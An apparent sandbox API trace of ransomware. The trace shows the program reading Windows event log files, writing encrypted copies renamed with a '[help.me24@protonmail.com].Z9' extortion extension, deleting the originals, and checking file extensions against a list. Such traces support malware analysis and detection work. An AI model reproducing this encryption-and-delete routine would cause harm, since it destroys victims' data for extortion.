	[0080.390] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63
	[0080.390] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.390] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0080.390] CloseHandle (hObject=0x35c) returned 1
	[0080.390] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20
	[0080.390] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.390] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.391] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.391] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.391] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.391] GetLastError () returned 0x0
	[0080.391] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.394] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.396] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.396] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x152, lpOverlapped=0x0) returned 1
	[0080.396] SetEndOfFile (hFile=0x390) returned 1
	[0080.397] CloseHandle (hObject=0x390) returned 1
	[0080.399] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.399] SetEndOfFile (hFile=0x35c) returned 1
	[0080.400] CloseHandle (hObject=0x35c) returned 1
	[0080.400] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.401] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1
	[0080.401] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.401] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.401] lstrlenW (lpString=".doc") returned 4
	[0080.401] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.401] lstrlenW (lpString=".docx") returned 5
	[0080.401] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.401] lstrlenW (lpString=".pdf") returned 4
	[0080.401] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.401] lstrlenW (lpString=".xls") returned 4
	[0080.401] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.401] lstrlenW (lpString=".xlsx") returned 5
	[0080.401] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.401] lstrlenW (lpString=".ppt") returned 4
	[0080.401] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.401] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.401] lstrlenW (lpString=".zip") returned 4
	[0080.401] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.401] lstrlenW (lpString=".rar") returned 4
	[0080.401] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.401] lstrlenW (lpString=".bz2") returned 4
	[0080.401] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.401] lstrlenW (lpString=".7z") returned 3
	[0080.401] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.402] lstrlenW (lpString=".dbf") returned 4
	[0080.402] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.402] lstrlenW (lpString=".1cd") returned 4
	[0080.402] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.402] lstrlenW (lpString=".jpg") returned 4
	[0080.402] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.402] lstrlenW (lpString=".doc") returned 4
	[0080.402] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString=".docx") returned 5
	[0080.402] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.402] lstrlenW (lpString=".pdf") returned 4
	[0080.402] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString=".xls") returned 4
	[0080.402] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString=".xlsx") returned 5
	[0080.402] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.402] lstrlenW (lpString=".ppt") returned 4
	[0080.402] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.402] lstrlenW (lpString=".zip") returned 4
	[0080.402] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString=".rar") returned 4
	[0080.402] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString=".bz2") returned 4
	[0080.402] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.402] lstrlenW (lpString=".7z") returned 3
	[0080.402] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.402] lstrlenW (lpString=".dbf") returned 4
	[0080.403] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.403] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.403] lstrlenW (lpString=".1cd") returned 4
	[0080.403] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.403] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0080.403] lstrlenW (lpString=".jpg") returned 4
	[0080.403] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.403] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.403] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49
	[0080.403] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.403] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0080.403] CloseHandle (hObject=0x35c) returned 1
	[0080.403] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20
	[0080.403] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.404] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.404] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.404] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.404] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.404] GetLastError () returned 0x0
	[0080.404] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.408] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.410] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.410] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x136, lpOverlapped=0x0) returned 1
	[0080.410] SetEndOfFile (hFile=0x390) returned 1
	[0080.410] CloseHandle (hObject=0x390) returned 1
	[0080.413] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.413] SetEndOfFile (hFile=0x35c) returned 1
	[0080.414] CloseHandle (hObject=0x35c) returned 1
	[0080.414] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.414] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1
	[0080.415] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.415] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.415] lstrlenW (lpString=".doc") returned 4
	[0080.415] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.415] lstrlenW (lpString=".docx") returned 5
	[0080.415] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.415] lstrlenW (lpString=".pdf") returned 4
	[0080.415] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.415] lstrlenW (lpString=".xls") returned 4
	[0080.415] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.415] lstrlenW (lpString=".xlsx") returned 5
	[0080.415] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.415] lstrlenW (lpString=".ppt") returned 4
	[0080.415] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.415] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.415] lstrlenW (lpString=".zip") returned 4
	[0080.415] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.415] lstrlenW (lpString=".rar") returned 4
	[0080.415] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.415] lstrlenW (lpString=".bz2") returned 4
	[0080.415] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.415] lstrlenW (lpString=".7z") returned 3
	[0080.415] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.415] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.415] lstrlenW (lpString=".dbf") returned 4
	[0080.415] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.415] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.416] lstrlenW (lpString=".1cd") returned 4
	[0080.416] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.416] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.416] lstrlenW (lpString=".jpg") returned 4
	[0080.416] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.416] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.416] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.416] lstrlenW (lpString=".doc") returned 4
	[0080.416] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.416] lstrlenW (lpString=".docx") returned 5
	[0080.416] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.416] lstrlenW (lpString=".pdf") returned 4
	[0080.416] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.416] lstrlenW (lpString=".xls") returned 4
	[0080.416] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.416] lstrlenW (lpString=".xlsx") returned 5
	[0080.416] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.416] lstrlenW (lpString=".ppt") returned 4
	[0080.416] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.416] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.740] lstrlenW (lpString=".zip") returned 4
	[0080.740] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.740] lstrlenW (lpString=".rar") returned 4
	[0080.740] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.740] lstrlenW (lpString=".bz2") returned 4
	[0080.740] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.740] lstrlenW (lpString=".7z") returned 3
	[0080.740] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.740] lstrlenW (lpString=".dbf") returned 4
	[0080.740] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.741] lstrlenW (lpString=".1cd") returned 4
	[0080.741] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0080.741] lstrlenW (lpString=".jpg") returned 4
	[0080.741] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.741] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.741] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59
	[0080.741] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0080.742] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0080.742] CloseHandle (hObject=0x364) returned 1
	[0080.742] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20
	[0080.742] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.742] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0080.742] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.742] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.742] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0080.746] GetLastError () returned 0x0
	[0080.746] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.749] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.751] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.751] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x14a, lpOverlapped=0x0) returned 1
	[0080.751] SetEndOfFile (hFile=0x354) returned 1
	[0080.752] CloseHandle (hObject=0x354) returned 1
	[0080.754] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.754] SetEndOfFile (hFile=0x364) returned 1
	[0080.755] CloseHandle (hObject=0x364) returned 1
	[0080.755] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.755] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1
	[0080.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.756] lstrlenW (lpString=".doc") returned 4
	[0080.756] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString=".docx") returned 5
	[0080.756] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.756] lstrlenW (lpString=".pdf") returned 4
	[0080.756] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString=".xls") returned 4
	[0080.756] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString=".xlsx") returned 5
	[0080.756] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.756] lstrlenW (lpString=".ppt") returned 4
	[0080.756] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.756] lstrlenW (lpString=".zip") returned 4
	[0080.756] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString=".rar") returned 4
	[0080.756] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString=".bz2") returned 4
	[0080.756] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString=".7z") returned 3
	[0080.756] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.756] lstrlenW (lpString=".dbf") returned 4
	[0080.756] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.756] lstrlenW (lpString=".1cd") returned 4
	[0080.756] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.757] lstrlenW (lpString=".jpg") returned 4
	[0080.757] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.757] lstrlenW (lpString=".doc") returned 4
	[0080.757] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString=".docx") returned 5
	[0080.757] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.757] lstrlenW (lpString=".pdf") returned 4
	[0080.757] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString=".xls") returned 4
	[0080.757] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString=".xlsx") returned 5
	[0080.757] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.757] lstrlenW (lpString=".ppt") returned 4
	[0080.757] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.757] lstrlenW (lpString=".zip") returned 4
	[0080.757] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString=".rar") returned 4
	[0080.757] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString=".bz2") returned 4
	[0080.757] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString=".7z") returned 3
	[0080.757] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.757] lstrlenW (lpString=".dbf") returned 4
	[0080.757] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.757] lstrlenW (lpString=".1cd") returned 4
	[0080.757] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0080.757] lstrlenW (lpString=".jpg") returned 4
	[0080.757] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.758] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.758] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47
	[0080.758] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0080.758] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
